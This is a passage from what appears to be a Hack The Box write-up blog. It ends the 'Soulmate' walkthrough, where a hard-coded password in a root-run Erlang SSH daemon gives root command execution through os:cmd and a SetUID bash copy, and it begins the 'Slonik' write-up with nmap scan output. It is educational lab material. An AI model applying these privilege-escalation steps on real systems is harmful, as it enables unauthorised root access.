<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:/$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:,,,:/home/ben:/bin/bash
</span></code></pre></div></div>

<h4 id="erlang-ssh">Erlang SSH</h4>

<p>Looking at the process list, there’s an interesting entry:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:/$</span><span class="w"> </span>ps auxww
<span class="go">USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND                                            
root           1  0.0  0.2 166164 11432 ?        Ss   Feb12   0:05 /sbin/init  
...[snip]...
root        1144  0.0  1.6 2252184 67372 ?       Ssl  Feb12   0:29 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
...[snip]...
</span></code></pre></div></div>

<p>This is some kind of Erlang script. It’s running as root, and owned by root (not writable):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:/$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /usr/local/lib/erlang_login/start.escript
<span class="go">-rwxr-xr-x 1 root root 1427 Aug 15 07:46 /usr/local/lib/erlang_login/start.escript
</span></code></pre></div></div>

<p>It’s an SSH server:</p>

<div class="language-erlang code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="err">#</span><span class="o">!/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">env</span> <span class="n">escript</span>
<span class="c">%%! -sname ssh_runner
</span>
<span class="nf">main</span><span class="p">(_)</span> <span class="o">-&gt;</span>
    <span class="nn">application</span><span class="p">:</span><span class="nf">start</span><span class="p">(</span><span class="n">asn1</span><span class="p">),</span>
    <span class="nn">application</span><span class="p">:</span><span class="nf">start</span><span class="p">(</span><span class="n">crypto</span><span class="p">),</span>
    <span class="nn">application</span><span class="p">:</span><span class="nf">start</span><span class="p">(</span><span class="n">public_key</span><span class="p">),</span>
    <span class="nn">application</span><span class="p">:</span><span class="nf">start</span><span class="p">(</span><span class="n">ssh</span><span class="p">),</span>

    <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Starting SSH daemon with logging...</span><span class="si">~n</span><span class="s">"</span><span class="p">),</span>

    <span class="k">case</span> <span class="nn">ssh</span><span class="p">:</span><span class="nf">daemon</span><span class="p">(</span><span class="mi">2222</span><span class="p">,</span> <span class="p">[</span>
        <span class="p">{</span><span class="n">ip</span><span class="p">,</span> <span class="p">{</span><span class="mi">127</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">}},</span>
        <span class="p">{</span><span class="n">system_dir</span><span class="p">,</span> <span class="s">"/etc/ssh"</span><span class="p">},</span>

        <span class="p">{</span><span class="n">user_dir_fun</span><span class="p">,</span> <span class="k">fun</span><span class="p">(</span><span class="nv">User</span><span class="p">)</span> <span class="o">-&gt;</span>
            <span class="nv">Dir</span> <span class="o">=</span> <span class="nn">filename</span><span class="p">:</span><span class="nf">join</span><span class="p">(</span><span class="s">"/home"</span><span class="p">,</span> <span class="nv">User</span><span class="p">),</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Resolving user_dir for </span><span class="si">~p</span><span class="s">: </span><span class="si">~s</span><span class="s">/.ssh</span><span class="si">~n</span><span class="s">"</span><span class="p">,</span> <span class="p">[</span><span class="nv">User</span><span class="p">,</span> <span class="nv">Dir</span><span class="p">]),</span>
            <span class="nn">filename</span><span class="p">:</span><span class="nf">join</span><span class="p">(</span><span class="nv">Dir</span><span class="p">,</span> <span class="s">".ssh"</span><span class="p">)</span>
        <span class="k">end</span><span class="p">},</span>

        <span class="p">{</span><span class="n">connectfun</span><span class="p">,</span> <span class="k">fun</span><span class="p">(</span><span class="nv">User</span><span class="p">,</span> <span class="nv">PeerAddr</span><span class="p">,</span> <span class="nv">Method</span><span class="p">)</span> <span class="o">-&gt;</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Auth success for user: </span><span class="si">~p</span><span class="s"> from </span><span class="si">~p</span><span class="s"> via </span><span class="si">~p~n</span><span class="s">"</span><span class="p">,</span>
                      <span class="p">[</span><span class="nv">User</span><span class="p">,</span> <span class="nv">PeerAddr</span><span class="p">,</span> <span class="nv">Method</span><span class="p">]),</span>
            <span class="n">true</span>
        <span class="k">end</span><span class="p">},</span>

        <span class="p">{</span><span class="n">failfun</span><span class="p">,</span> <span class="k">fun</span><span class="p">(</span><span class="nv">User</span><span class="p">,</span> <span class="nv">PeerAddr</span><span class="p">,</span> <span class="nv">Reason</span><span class="p">)</span> <span class="o">-&gt;</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Auth failed for user: </span><span class="si">~p</span><span class="s"> from </span><span class="si">~p</span><span class="s">, reason: </span><span class="si">~p~n</span><span class="s">"</span><span class="p">,</span>
                      <span class="p">[</span><span class="nv">User</span><span class="p">,</span> <span class="nv">PeerAddr</span><span class="p">,</span> <span class="nv">Reason</span><span class="p">]),</span>
            <span class="n">true</span>
        <span class="k">end</span><span class="p">},</span>

        <span class="p">{</span><span class="n">auth_methods</span><span class="p">,</span> <span class="s">"publickey,password"</span><span class="p">},</span>

        <span class="p">{</span><span class="n">user_passwords</span><span class="p">,</span> <span class="p">[{</span><span class="s">"ben"</span><span class="p">,</span> <span class="s">"HouseH0ldings998"</span><span class="p">}]},</span>
        <span class="p">{</span><span class="n">idle_time</span><span class="p">,</span> <span class="n">infinity</span><span class="p">},</span>
        <span class="p">{</span><span class="n">max_channels</span><span class="p">,</span> <span class="mi">10</span><span class="p">},</span>
        <span class="p">{</span><span class="n">max_sessions</span><span class="p">,</span> <span class="mi">10</span><span class="p">},</span>
        <span class="p">{</span><span class="n">parallel_login</span><span class="p">,</span> <span class="n">true</span><span class="p">}</span>
    <span class="p">])</span> <span class="k">of</span>
        <span class="p">{</span><span class="n">ok</span><span class="p">,</span> <span class="p">_</span><span class="nv">Pid</span><span class="p">}</span> <span class="o">-&gt;</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"SSH daemon running on port 2222. Press Ctrl+C to exit.</span><span class="si">~n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">{</span><span class="n">error</span><span class="p">,</span> <span class="nv">Reason</span><span class="p">}</span> <span class="o">-&gt;</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Failed to start SSH daemon: </span><span class="si">~p~n</span><span class="s">"</span><span class="p">,</span> <span class="p">[</span><span class="nv">Reason</span><span class="p">])</span>
    <span class="k">end</span><span class="p">,</span>

    <span class="k">receive</span>
        <span class="n">stop</span> <span class="o">-&gt;</span> <span class="n">ok</span>
    <span class="k">end</span><span class="p">.</span>
</code></pre></div></div>

<p>I’ll go through the entire script in the next section. For now, I’ll notice a hard-coded password for ben:</p>

<div class="language-erlang highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="n">user_passwords</span><span class="p">,</span> <span class="p">[{</span><span class="s">"ben"</span><span class="p">,</span> <span class="s">"HouseH0ldings998"</span><span class="p">}]},</span>
</code></pre></div></div>

<h3 id="su--ssh">su / SSH</h3>

<p>The password works for ben with <code class="language-plaintext highlighter-rouge">su</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:/$</span><span class="w"> </span>su - ben
<span class="go">Password: 
</span><span class="gp">ben@soulmate:~$</span><span class="w">
</span></code></pre></div></div>

<p>It also works for SSH:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> HouseH0ldings998 ssh ben@soulmate.htb
<span class="go">Warning: Permanently added 'soulmate.htb' (ED25519) to the list of known hosts.
Last login: Fri Feb 13 01:50:52 2026 from 10.10.14.44
</span><span class="gp">ben@soulmate:~$</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ben@soulmate:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">e74a6139************************
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration-1">Enumeration</h3>

<h4 id="ben">ben</h4>

<p>ben cannot run <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ben@soulmate:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">[sudo] password for ben: 
Sorry, user ben may not run sudo on soulmate.
</span></code></pre></div></div>

<p>Their home directory is very empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ben@soulmate:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 28
drwxr-x--- 3 ben  ben  4096 Sep  2 10:27 .
drwxr-xr-x 3 root root 4096 Sep  2 10:27 ..
lrwxrwxrwx 1 root root    9 Aug 27 09:28 .bash_history -&gt; /dev/null
-rw-r--r-- 1 ben  ben   220 Aug  6  2025 .bash_logout
-rw-r--r-- 1 ben  ben  3771 Aug  6  2025 .bashrc
drwx------ 2 ben  ben  4096 Sep  2 10:27 .cache
-rw-r--r-- 1 ben  ben   807 Aug  6  2025 .profile
-rw-r----- 1 root ben    33 Feb 12 12:52 user.txt
</span></code></pre></div></div>

<h4 id="erlang-ssh-script">Erlang SSH Script</h4>

<p>I noted above that the Erlang script is running as root. I’ll look more closely at it. It starts the Erlang VM with the name “ssh_runner”:</p>

<div class="language-erlang highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">#</span><span class="o">!/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">env</span> <span class="n">escript</span>
<span class="c">%%! -sname ssh_runner
</span></code></pre></div></div>

<div class="language-erlang highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">main</span><span class="p">(_)</span> <span class="o">-&gt;</span>
    <span class="nn">application</span><span class="p">:</span><span class="nf">start</span><span class="p">(</span><span class="n">asn1</span><span class="p">),</span>
    <span class="nn">application</span><span class="p">:</span><span class="nf">start</span><span class="p">(</span><span class="n">crypto</span><span class="p">),</span>
    <span class="nn">application</span><span class="p">:</span><span class="nf">start</span><span class="p">(</span><span class="n">public_key</span><span class="p">),</span>
    <span class="nn">application</span><span class="p">:</span><span class="nf">start</span><span class="p">(</span><span class="n">ssh</span><span class="p">),</span>

    <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Starting SSH daemon with logging...</span><span class="si">~n</span><span class="s">"</span><span class="p">),</span>
</code></pre></div></div>

<p>It starts the main entrypoint, where the underscore in <code class="language-plaintext highlighter-rouge">main(_)</code> says to ignore command line args. It starts the required Erlang applications and then prints a message.</p>

<div class="language-erlang highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">case</span> <span class="nn">ssh</span><span class="p">:</span><span class="nf">daemon</span><span class="p">(</span><span class="mi">2222</span><span class="p">,</span> <span class="p">[</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
    <span class="p">])</span> <span class="k">of</span>
        <span class="p">{</span><span class="n">ok</span><span class="p">,</span> <span class="p">_</span><span class="nv">Pid</span><span class="p">}</span> <span class="o">-&gt;</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"SSH daemon running on port 2222. Press Ctrl+C to exit.</span><span class="si">~n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">{</span><span class="n">error</span><span class="p">,</span> <span class="nv">Reason</span><span class="p">}</span> <span class="o">-&gt;</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Failed to start SSH daemon: </span><span class="si">~p~n</span><span class="s">"</span><span class="p">,</span> <span class="p">[</span><span class="nv">Reason</span><span class="p">])</span>
    <span class="k">end</span><span class="p">,</span>

    <span class="k">receive</span>
        <span class="n">stop</span> <span class="o">-&gt;</span> <span class="n">ok</span>
    <span class="k">end</span><span class="p">.</span>
</code></pre></div></div>

<p>It then starts an SSH daemon on port 2222, and prints a message about if it worked. Inside the daemon, it defines several configuration values:</p>

<div class="language-erlang highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="p">{</span><span class="n">ip</span><span class="p">,</span> <span class="p">{</span><span class="mi">127</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">}},</span>
        <span class="p">{</span><span class="n">system_dir</span><span class="p">,</span> <span class="s">"/etc/ssh"</span><span class="p">},</span>

        <span class="p">{</span><span class="n">user_dir_fun</span><span class="p">,</span> <span class="k">fun</span><span class="p">(</span><span class="nv">User</span><span class="p">)</span> <span class="o">-&gt;</span>
            <span class="nv">Dir</span> <span class="o">=</span> <span class="nn">filename</span><span class="p">:</span><span class="nf">join</span><span class="p">(</span><span class="s">"/home"</span><span class="p">,</span> <span class="nv">User</span><span class="p">),</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Resolving user_dir for </span><span class="si">~p</span><span class="s">: </span><span class="si">~s</span><span class="s">/.ssh</span><span class="si">~n</span><span class="s">"</span><span class="p">,</span> <span class="p">[</span><span class="nv">User</span><span class="p">,</span> <span class="nv">Dir</span><span class="p">]),</span>
            <span class="nn">filename</span><span class="p">:</span><span class="nf">join</span><span class="p">(</span><span class="nv">Dir</span><span class="p">,</span> <span class="s">".ssh"</span><span class="p">)</span>
        <span class="k">end</span><span class="p">},</span>

        <span class="p">{</span><span class="n">connectfun</span><span class="p">,</span> <span class="k">fun</span><span class="p">(</span><span class="nv">User</span><span class="p">,</span> <span class="nv">PeerAddr</span><span class="p">,</span> <span class="nv">Method</span><span class="p">)</span> <span class="o">-&gt;</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Auth success for user: </span><span class="si">~p</span><span class="s"> from </span><span class="si">~p</span><span class="s"> via </span><span class="si">~p~n</span><span class="s">"</span><span class="p">,</span>
                      <span class="p">[</span><span class="nv">User</span><span class="p">,</span> <span class="nv">PeerAddr</span><span class="p">,</span> <span class="nv">Method</span><span class="p">]),</span>
            <span class="n">true</span>
        <span class="k">end</span><span class="p">},</span>

        <span class="p">{</span><span class="n">failfun</span><span class="p">,</span> <span class="k">fun</span><span class="p">(</span><span class="nv">User</span><span class="p">,</span> <span class="nv">PeerAddr</span><span class="p">,</span> <span class="nv">Reason</span><span class="p">)</span> <span class="o">-&gt;</span>
            <span class="nn">io</span><span class="p">:</span><span class="nf">format</span><span class="p">(</span><span class="s">"Auth failed for user: </span><span class="si">~p</span><span class="s"> from </span><span class="si">~p</span><span class="s">, reason: </span><span class="si">~p~n</span><span class="s">"</span><span class="p">,</span>
                      <span class="p">[</span><span class="nv">User</span><span class="p">,</span> <span class="nv">PeerAddr</span><span class="p">,</span> <span class="nv">Reason</span><span class="p">]),</span>
            <span class="n">true</span>
        <span class="k">end</span><span class="p">},</span>

        <span class="p">{</span><span class="n">auth_methods</span><span class="p">,</span> <span class="s">"publickey,password"</span><span class="p">},</span>

        <span class="p">{</span><span class="n">user_passwords</span><span class="p">,</span> <span class="p">[{</span><span class="s">"ben"</span><span class="p">,</span> <span class="s">"HouseH0ldings998"</span><span class="p">}]},</span>
        <span class="p">{</span><span class="n">idle_time</span><span class="p">,</span> <span class="n">infinity</span><span class="p">},</span>
        <span class="p">{</span><span class="n">max_channels</span><span class="p">,</span> <span class="mi">10</span><span class="p">},</span>
        <span class="p">{</span><span class="n">max_sessions</span><span class="p">,</span> <span class="mi">10</span><span class="p">},</span>
        <span class="p">{</span><span class="n">parallel_login</span><span class="p">,</span> <span class="n">true</span><span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>Listens on localhost.</li>
  <li>The system directory is <code class="language-plaintext highlighter-rouge">/etc/ssh</code>.</li>
  <li>The user directory is the username in <code class="language-plaintext highlighter-rouge">/home</code>.</li>
  <li>The hard-coded password.</li>
</ul>

<h3 id="erlang-ssh-1">Erlang SSH</h3>

<p>Given all of this, I can connect as ben:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ben@soulmate:~$</span><span class="w"> </span>ssh <span class="nt">-p</span> 2222 ben@localhost
<span class="go">The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.
ben@localhost's password: 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
</span><span class="gp">(ssh_runner@soulmate)1&gt;</span><span class="w">
</span></code></pre></div></div>

<p>This is not a standard shell. <code class="language-plaintext highlighter-rouge">.</code> will end the line, and I can call <code class="language-plaintext highlighter-rouge">help()</code> to get a list of functions:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">(ssh_runner@soulmate)1&gt; </span><span class="nf">help</span><span class="p">().</span>
<span class="go">** shell internal commands **
b()        -- display all variable bindings
e(N)       -- repeat the expression in query &lt;N&gt;
f()        -- forget all variable bindings
f(X)       -- forget the binding of variable X
h()        -- history
h(Mod)     -- help about module
h(Mod,Func)-- help about function in module
h(Mod,Func,Arity) -- help about function with arity in module
ht(Mod)    -- help about a module's types
ht(Mod,Type) -- help about type in module
ht(Mod,Type,Arity) -- help about type with arity in module
hcb(Mod)    -- help about a module's callbacks
hcb(Mod,CB) -- help about callback in module
hcb(Mod,CB,Arity) -- help about callback with arity in module
history(N) -- set how many previous commands to keep
results(N) -- set how many previous command results to keep
catch_exception(B) -- how exceptions are handled
v(N)       -- use the value of query &lt;N&gt;
rd(R,D)    -- define a record
rf()       -- remove all record information
rf(R)      -- remove record information about R
rl()       -- display all record information
rl(R)      -- display record information about R
rp(Term)   -- display Term using the shell's record information
rr(File)   -- read record information from File (wildcards allowed)
rr(F,R)    -- read selected record information from file(s)
rr(F,R,O)  -- read selected record information with options
lf()       -- list locally defined functions
lt()       -- list locally defined types
lr()       -- list locally defined records
ff()       -- forget all locally defined functions
ff({F,A})  -- forget locally defined function named as atom F and arity A
tf()       -- forget all locally defined types
tf(T)      -- forget locally defined type named as atom T
fl()       -- forget all locally defined functions, types and records
save_module(FilePath) -- save all locally defined functions, types and records to a file
bt(Pid)    -- stack backtrace for a process
c(Mod)     -- compile and load module or file &lt;Mod&gt;
cd(Dir)    -- change working directory
flush()    -- flush any messages sent to the shell
help()     -- help info
h(M)       -- module documentation
h(M,F)     -- module function documentation
h(M,F,A)   -- module function arity documentation
i()        -- information about the system
ni()       -- information about the networked system
i(X,Y,Z)   -- information about pid &lt;X,Y,Z&gt;
l(Module)  -- load or reload module
lm()       -- load all modified modules
lc([File]) -- compile a list of Erlang modules
ls()       -- list files in the current directory
ls(Dir)    -- list files in directory &lt;Dir&gt;
m()        -- which modules are loaded
m(Mod)     -- information about module &lt;Mod&gt;
mm()       -- list all modified modules
memory()   -- memory allocation information
memory(T)  -- memory allocation information of type &lt;T&gt;
nc(File)   -- compile and load code in &lt;File&gt; on all nodes
nl(Module) -- load module on all nodes
pid(X,Y,Z) -- convert X,Y,Z to a Pid
pwd()      -- print working directory
q()        -- quit - shorthand for init:stop()
regs()     -- information about registered processes
nregs()    -- information about all registered processes
uptime()   -- print node uptime
xm(M)      -- cross reference check a module
y(File)    -- generate a Yecc parser
** commands in module i (interpreter interface) **
ih()       -- print help for the i module
true
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">ls</code> command works, and shows I can read in <code class="language-plaintext highlighter-rouge">/root</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">(ssh_runner@soulmate)3&gt; </span><span class="nf">ls</span><span class="p">(</span><span class="n">'/root'</span><span class="p">).</span>
<span class="go">.bash_history        .bashrc              .cache               
.config              .erlang.cookie       .local               
.profile             .selected_editor     .sqlite_history      
.ssh                 .wget-hsts           root.txt  
</span></code></pre></div></div>

<p>There’s no command in the list that can read a file, but this is just a list of convenience commands from the shell_default and c modules. Since the Erlang SSH daemon drops into a full Erlang REPL (Eshell), I have access to the entire standard library, including modules that interact with the OS. And since the daemon runs as root, any commands I run execute as root.</p>

<p>I can use the <code class="language-plaintext highlighter-rouge">file:read_file</code> function to read the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">(ssh_runner@soulmate)10&gt; </span><span class="p">{</span><span class="n">ok</span><span class="p">,</span> <span class="nv">Data</span><span class="p">}</span> <span class="o">=</span> <span class="nn">file</span><span class="p">:</span><span class="nf">read_file</span><span class="p">(</span><span class="s">"/root/root.txt"</span><span class="p">).</span>
<span class="go">{ok,&lt;&lt;"8011bd8a************************\n"&gt;&gt;}
</span></code></pre></div></div>

<p>Or the <code class="language-plaintext highlighter-rouge">os:cmd</code> function to run commands:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">(ssh_runner@soulmate)11&gt; </span><span class="nn">os</span><span class="p">:</span><span class="nf">cmd</span><span class="p">(</span><span class="n">'id'</span><span class="p">).</span>
<span class="go">"uid=0(root) gid=0(root) groups=0(root)\n"
</span></code></pre></div></div>

<p>To get a real root shell, I can make a SetUID / SetGID copy of <code class="language-plaintext highlighter-rouge">bash</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">(ssh_runner@soulmate)12&gt; </span><span class="nn">os</span><span class="p">:</span><span class="nf">cmd</span><span class="p">(</span><span class="n">'cp /bin/bash /tmp/0xdf'</span><span class="p">).</span>
<span class="go">[]
</span><span class="gp">(ssh_runner@soulmate)13&gt; </span><span class="nn">os</span><span class="p">:</span><span class="nf">cmd</span><span class="p">(</span><span class="n">'chmod 6777 /tmp/0xdf'</span><span class="p">).</span>
<span class="go">[]
</span></code></pre></div></div>

<p>Then, from a regular shell as ben (using <code class="language-plaintext highlighter-rouge">-p</code> to not drop privs):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ben@soulmate:~$</span><span class="w"> </span>/tmp/0xdf <span class="nt">-p</span>
<span class="gp">0xdf-5.1#</span><span class="w"> 
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-soulmate" /><category term="pentest" /><category term="bug-bounty" /><category term="hackthebox" /><category term="ctf" /><category term="htb-soulmate" /><category term="nmap" /><category term="ubuntu" /><category term="ffuf" /><category term="subdomain" /><category term="php" /><category term="crush-ftp" /><category term="feroxbuster" /><category term="cve-2025-31161" /><category term="cve-2025-54309" /><category term="authentication-bypass" /><category term="race-condition" /><category term="webshell" /><category term="php-webshell" /><category term="erlang" /><category term="erlang-ssh" /><category term="password-reuse" /><category term="setuid" /><summary type="html"><![CDATA[Soulmate has a PHP-based dating website, as well as an instance of CrushFTP. I’ll showcase two different authentication bypass CVEs to get admin access to CrushFTP. From there I can upload a PHP webshell and get a foothold on the box. I’ll find hardcoded credentials in an Erlang SSH server, and use them to get to the next user. I’ll also use them to connect to this SSH server and navigate the Erlang console as root to solve the challenge.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/soulmate-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/soulmate-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Slonik</title><link href="https://0xdf.gitlab.io/2026/02/12/htb-slonik.html" rel="alternate" type="text/html" title="HTB: Slonik" /><published>2026-02-12T10:00:00+00:00</published><updated>2026-02-12T10:00:00+00:00</updated><id>https://0xdf.gitlab.io/2026/02/12/htb-slonik</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/02/12/htb-slonik.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/slonik-cover.webp" />
    <img loading="lazy" src="/img/slonik-cover.png" alt="Slonik" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Slonik showcases some interesting Linux techniques around NFS and PostgreSQL. I’ll start with an insecurely configured NFS mount where I can list and read files from anywhere on the filesystem as any user except root. I’ll find hashes for a service account in the shadow file and in a postgres history file, and crack either. The service account doesn’t have a shell set, so I can’t get a shell over SSH. I can port forward to a UNIX socket, which provides access to PostgreSQL. I’ll use that to get a shell as the postgres user. To escalate to root, I’ll abuse a cron running a PostgreSQL backup utility. In Beyond Root, I’ll talk about a bug I found and fixed in Netexec and its neat NFS tools.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/769 -->

<div class="htb-card platform-vulnlab">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/slonik" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-slonik.webp" />
          <img src="/icons/box-slonik.png" alt="Slonik" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/slonik" target="_blank" class="htb-box-name">Slonik</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1979200793510084934">14 Oct 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">14 Oct 2025</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      
      <div class="htb-card-row htb-card-red">
        <span class="htb-card-label">Non-competitive release: no bloods</span>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/13569" target="_blank" rel="noopener"><img alt="xct" src="https://www.hackthebox.com/badge/image/13569" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> xct</span></a><br />
      </div>
    </div>

    
    <div class="htb-scenario-section">
      <span class="htb-meta-label">Scenario</span>
      <div class="htb-scenario-box"><span class="htb-scenario-text">The User flag for this Box is located in a non-standard directory, /var/lib/postgresql.</span></div>
    </div>
    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds eight open TCP ports, SSH (22), RPC (111, related high ports), and NFS (2049):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.234.160
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-09 14:33 UTC
...[snip]...
Nmap scan report for 10.129.234.160
Host is up, received echo-reply ttl 63 (0.023s latency).
Scanned at 2026-02-09 14:33:59 UTC for 8s
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
111/tcp   open  rpcbind syn-ack ttl 63
2049/tcp  open  nfs     syn-ack ttl 63
40553/tcp open  unknown syn-ack ttl 63
46397/tcp open  unknown syn-ack ttl 63
48491/tcp open  unknown syn-ack ttl 63
56923/tcp open  unknown syn-ack ttl 63
59135/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.04 seconds
           Raw packets sent: 79587 (3.502MB) | Rcvd: 65753 (2.630MB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22,111,2049,40553,46397,48491,56923,59135 <span class="nt">-sCV</span> 10.129.234.160
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-09 14:34 UTC
Nmap scan report for 10.129.234.160
Host is up (0.022s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_  256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
